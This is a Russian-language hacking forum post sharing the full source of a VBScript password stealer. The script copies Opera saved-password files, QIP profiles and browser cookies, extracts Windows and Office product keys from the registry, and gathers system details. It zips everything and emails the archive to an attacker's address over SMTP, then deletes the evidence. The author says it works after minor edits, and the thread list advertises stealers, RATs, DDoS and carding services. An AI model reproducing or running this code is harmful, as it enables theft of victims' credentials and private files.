Стиллер всякого на VBS

snr93

Original poster
Pro Member
Сообщения
70
Реакции
27
Посетить сайт
Выкладываю свою наработку... ооочень древнюю, но новичкам для понимания логики VBS пойдет. Вообще считаю что очень недооцененный инструмент, который встроен в винду. Это вам не бат с кастратным функционалом и черным окном, это полноценный инструмент, который может быть использовал по разному. Писал я его очень давно, в году 2008 по моему. Но он еще актуален, нужно внести только несколько правок. Поэтому прошу рассматривать его как возможности VBS, говнокодинг(это был 2008г я еще даже в 9 класс не хотил, че вы хотите xD) и пример некоторых реализаций:) Ну а кто хочет, там поправить несколько строк и он будет работать отлично. Комментами все подписано.

А еще я дико проорал. Я его раньше выкладывал на свой, теперь уже мертвый сайт и его много куда скопипиздили. Мне не жалко, но нашлись ушлые ребята, которые его начали ПРОДАВАТЬ как приватный стиллер
При этом я нашел сливы и понял, что барыга даже не пытался что-то изменить, т.к. вот эта строка даже не изменена:

Call SendPost("smtp.mail.ru","[email protected]","[email protected]","passi_lamera=)","Хозяин, я тебе тут пароли лоха подкинул=)")

А на других ресурсах его выкладывали как СЛИВ у барыг xD Меня это знатно повеселило:)

Такие дела.

Короче че умеет:
- собирает инфу о системе
- тырит ключи от офиса
- тырит файлы, которые вы укажете
- пакует это все в ZIP архив и отсылает вам на почту.



Код:
Const FOF_SIMPLEPROGRESS = 256
'указываем переменные
Dim MySource, MyTarget, MyHex, MyBinary, i
Dim oShell, oCTF
Dim oFileSys
dim winShell
dim newfolderpath
dim t
'тело троя
On Error Resume Next
h = Hour(Now)
m = Minute(Now)
s = Second(Now)
t = date() & "-" & h & "-" & m & "-" & s
dim filesys, newfolder
newfolderpath = "c:\SystemFolder" ' Название временной папки
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
   Set newfolder = filesys.CreateFolder(newfolderpath)
End If
'собираем файлы
set filesys=Nothing
Set newfolder=Nothing
Set FileSystemObject = CreateObject("scripting.filesystemobject")
set WshShell1 = WScript.CreateObject("WScript.Shell")
str = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\Opera\Opera\wand.dat"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.copyfile "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\Opera\Opera\wand.dat" ,"C:\SystemFolder\wand.dat"
FolderSystemObject.copyfolder "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\QIP\Profiles" ,"C:\SystemFolder\Profiles"
'ключ от операционки и офиса
Set WshShell = CreateObject("WScript.Shell")
MicroSoft = "HKLM\SOFTWARE\Microsoft"
DigitalProductIdWindows = MicroSoft & "\Windows NT\CurrentVersion\DigitalProductId"
On Error Resume Next
Set Word = CreateObject("Word.Application")
DigitalProductIdOffice = MicroSoft & "\Office\" & word.Version & "\Registration\" & _
word.ProductCode & "\DigitalProductId"
Word.Quit
OfficeKey = GetKey(WshShell.RegRead(DigitalProductIdOffice))
WindowsKey = GetKey(WshShell.RegRead(DigitalProductIdWindows))
Function GetKey(byval p)
pc="BCDFGHJKMPQRTVWXY2346789"
For i=0 To 28
a=0
For j=0 To 14
a=p(66-j)+a*256
p(66-j)=(a\24) And 255
a=a Mod 24
Next
ProductKey = Mid(pc,a+1,1) & ProductKey
 If (((i+2) Mod 6)=0) And (i<28) Then
i=i+1
ProductKey = "-" & ProductKey
End If
Next
GetKey = ProductKey
End Function
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.OpenTextFile("info.txt", 2, True)
f.WriteLine "Ключ от операционки: " & WindowsKey
f.WriteLine "Ключ от офиса(если пусто то офис не установлен): " & OfficeKey
                                                                                            'инфо о системе
Set WshShell = WScript.CreateObject("WScript.Shell")
Set WshSysEnv = WshShell.Environment("SYSTEM")
Set WshProEnv = WshShell.Environment("PROCESS")
SysInfo = "Системные параметры компьютера:" + Chr(10)+ Chr(10)
SysInfo = SysInfo + "Процессоров: " + _
WshSysEnv("NUMBER_OF_PROCESSORS") + Chr(10)
SysInfo = SysInfo + "Архитектура: " + _
WshSysEnv("PROCESSOR_ARCHITECTURE") + Chr(10)
SysInfo = SysInfo + "ID процессора: " + _
WshSysEnv("PROCESSOR_IDENTIFIER") + Chr(10)
SysInfo = SysInfo + "Поколение: " + _
WshSysEnv("PROCESSOR_LEVEL") + Chr(10)
SysInfo = SysInfo + "Операционная система: " + WshSysEnv("OS") + Chr(10)
SysInfo = SysInfo + "Файл командной строки: " + _
WshProEnv("COMSPEC") + Chr(10)
SysInfo = SysInfo + "Пути: " + WshProEnv("PATH") + Chr(10)
SysInfo = SysInfo + "Исполняемые файлы: " + _
WshSysEnv("PATHEXT") + Chr(10)
SysInfo = SysInfo + "Директория Windows: " + _
WshProEnv("WINDIR") + Chr(10)
SysInfo = SysInfo + "Временная папка: " + WshProEnv("TEMP") + Chr(10)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.OpenTextFile("info.txt", 2, True)
f.WriteLine "" & SysInfo
f.Close
Set FSO = CreateObject("Scripting.FileSystemObject")
f.Close
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file1  = FSO.GetFile("info.txt")
file1.Move("c:\SystemFolder\info.txt")
Else
End If
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim MyZipName
Dim oApp, oFolder, oFile
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Cookies"
set WshShell1 = Nothing
MySource = filePath
MyTarget = newfolderpath & "\" & t
archPath_IE = t & "-"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
Set oApp = CreateObject("Shell.Application")
Set oFolder = oApp.NameSpace(MySource)
If Not oFolder Is Nothing Then
oApp.NameSpace(MyTarget).CopyHere oFolder.Items
End If
wScript.Sleep(5000)
Set oFile = Nothing
On Error Resume Next
Do While (oFile Is Nothing)
Set oFile = oFileSys.OpenTextFile(MyTarget, ForAppending, False)
If Err.number <> 0 then
Err.Clear
wScript.Sleep 3000
End If
                                                                                                    'архивируем
Loop
Set oFile=Nothing
Set oFileSys=Nothing
Dim arrResult
arrResult = ZipFolder( "C:\SystemFolder", "C:\SystemFolder.zip" )
If arrResult(0) <> 0 Then
WScript.Echo "ERROR " & Join( arrResult, vbCrLf )
End If
Function ZipFolder( myFolder, myZipFile )
Dim objApp, objFSO, objTxt
Const ForWriting = 2
If Right( myFolder, 1 ) <> "\" Then
myFolder = myFolder & "\"
End If
On Error Resume Next
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Set objTxt = objFSO.OpenTextFile( myZipFile, ForWriting, True )
objTxt.Write "PK" & Chr(5) & Chr(6) & String( 18, Chr(0) )
objTxt.Close
Set objTxt = Nothing
Set objFSO = Nothing
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Err.Clear
On Error Goto 0
Exit Function
End If
Set objApp = CreateObject( "Shell.Application" )
objApp.NameSpace( myZipFile ).CopyHere objApp.NameSpace( myFolder ).Items
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Set objApp = Nothing
Err.Clear
On Error Goto 0
Exit Function
End If
Do Until objApp.NameSpace( myZipFile ).Items.Count _
= objApp.NameSpace( myFolder  ).Items.Count
WScript.Sleep 200
Loop
Set objApp = Nothing
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Err.Clear
On Error Goto 0
Exit Function
End If
On Error Goto 0
ZipFolder = Array( 0, "", "" )
End Function
'отправляем на мыло
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","[email protected]","[email protected]","passi_lamera=)","Хозяин, я тебе тут пароли лоха подкинул=)")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
'почта от кого придет письмо
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="user_mail"
'пароль от этой почты(не от своей блять!)
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="pass_mail"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\SystemFolder.zip"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing
                  
'удаляем zip-архив
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2  = FSO.GetFile("c:\SystemFolder.zip")
file2.Delete
'удаляем info.txt
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2  = FSO.GetFile("c:\SystemFolder\info.txt")
file2.Delete
'удаляем wand.dat
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2  = FSO.GetFile("c:\SystemFolder\wand.dat")
file2.Delete
 

snr93

Original poster
Pro Member
Сообщения
70
Реакции
27
Посетить сайт
А, ну да, материал тупо для ознакомления, все использование повлечет бутылку только для ваших булок :)
 
Название темы
Автор Заголовок Раздел Ответы Дата
LightMan Интересно Java - Стиллер паролей в Minecraft моде Другие ЯП 7
M Склейка любого exe (РАТНИК, Стиллер) с docx (WORD) Продажа софта 1
kravl ⚡⚡⚡ Стиллер + Админ Панель |500 РУБ|⚡⚡⚡ Продажа софта 9
John15 Стиллер паролей с отправкой по почте. Вирусология 4
A Стиллер + Админ Панель (Читай описание) Pro Продажа софта 9
LittlePsycho Стиллер Mystery, многофункциональный и с выдержкой на любые нагрузки Продажа софта 30
A Стиллер паролей для Chrome и Firefox Уязвимости и взлом 0
MrLeam1 [USB]Стиллер или флешка ВОР) Софт для работы с текстом/Другой софт 40
Riddle Стиллер куков и паролей c# .NET 3
A Интересно Пишем свой RAT на Python > {Часть 2} Уязвимости и взлом 2
MoneyLoad Принимаю заливы на пластик любого направления Ищу работу. Предлагаю свои услуги. 1
balof Seed4.Me VPN - на неограниченный срок Полезные статьи 0
S Интересно нужен вбив на вебкам Предоставляю работу. Ищу специалиста. 1
rdp.onedash Скоростные VPS сервера на Windows — OneDash RDP Сайты/Хостинг/Сервера 1
A Пишем свой RAT на Python > {Часть 1} Уязвимости и взлом 0
mousegreen Быстрый заработок за верификацию на сайте Предоставляю работу. Ищу специалиста. 2
Zer0D4y Заработок на озабоченных Способы заработка 1
Y возьму на обучению вбиву в амазон и ебей Предоставляю работу. Ищу специалиста. 0
Kalash [Розыгрыш] Розыгрыш 1000 рублей на киви!!! Розыгрыши 0
S Простой способ получить реальные $30 на торговлю Предоставляю работу. Ищу специалиста. 0
bu8ba Собственное казино и зарабатываем на нем Способы заработка 1
M Блэк на #~Shinigami~# Black list и Разборки 1
V Схема заработка на SMM партнерках Способы заработка 1
G залью на сша, белоруссию Предоставляю работу. Ищу специалиста. 1
brigabos Как экономить на Яндекс.Директ, Google Ads и соц. сетях. Кешбеки и купоны. Другое 0
Janipai Схема заработка от 5$ в день на своем аккаунте инстаграм Способы заработка 5
X Есть тут кто с репой на ире? Свободное общение и флейм 2
U Нужны люди со всего мира на верифы Предоставляю работу. Ищу специалиста. 2
E Как сменить устройство на Tide? Вопросы и интересы 0
zladey1986 Продам Скрипт прием платежей p2p, card 2 card (с карты на карту) Все что не подошло по разделу 1
brigabos Простая схема как получить 133$ на рекламу в Google Ads (Adwords) Другое 0
S ✅ Промокоды на продвижение в Instagram, до 60% кешбек. Спам, рассылки, трафик, SEO 0
S ✅ АдминВПС. Промокод на скидку 60% - хостинг и VPS. Сайты/Хостинг/Сервера 1
I Ross CLOUD - Лучшее и самое БОЛЬШОЕ ОБЛАКО ЛОГОВ на рынке Ищу работу. Предлагаю свои услуги. 0
I Ross CLOUD - Лучшее и самое БОЛЬШОЕ ОБЛАКО ЛОГОВ на рынке Финансы - биллинги, банки, кошельки, логи 0
adflak Полный спектр услуг: Постинг на форумах \ Ссылки в подписях \ Разоблачение мошенников \ И многое другое! Ищу работу. Предлагаю свои услуги. 6
L Приглашаются дроповоды по ЕС на стабильную работу с высокой оплатой. Предоставляю работу. Ищу специалиста. 2
superman_ddos Service DDOS Attack/ДДОС Атака на заказ. Профессионалы к вашим услугам. Спам / Флуд / Ддос 2
U Интересно Нужны люди из Грузии, Украины и Снг на верифы Предоставляю работу. Ищу специалиста. 0
xoWells Схема на миллион. Забираем свои BTC у жертвы :) Обучения, схемы, мануалы 1
B Bitmoneyekb.com - Обмен криптовалюты на наличные МСК/ЕКБ Обменники 0
Khan Хакер из Бобруйска заработал полмиллиона долларов на брутфорс-атаках Новости в сети 0
B Заливы на карты Предоставляю работу. Ищу специалиста. 0
D Оптовый взлом почты на заказ (цена 20$) Взлом почты Mail.ru Yandex.ru Rambler.ru Ищу работу. Предлагаю свои услуги. 0
Ricardo Milos Продам Сим-карты на физ лиц | МТС | Мегафон | Билайн | Tele2 | Yota | Ростелеком | AIVA Финансы - биллинги, банки, кошельки, логи 0
H Заработок на арбитраже трафика в своем сообществе Вконтакте в 2021м году Способы заработка 0
H 1000$ на продаже сообществ (2021) Способы заработка 1
H Первые деньги на Авито без вложений (2021) Способы заработка 1
H 5000 р в день на трафике (2021) Способы заработка 0
K HASH Bhf.io Дамп на 19gb Раздача email 2

Название темы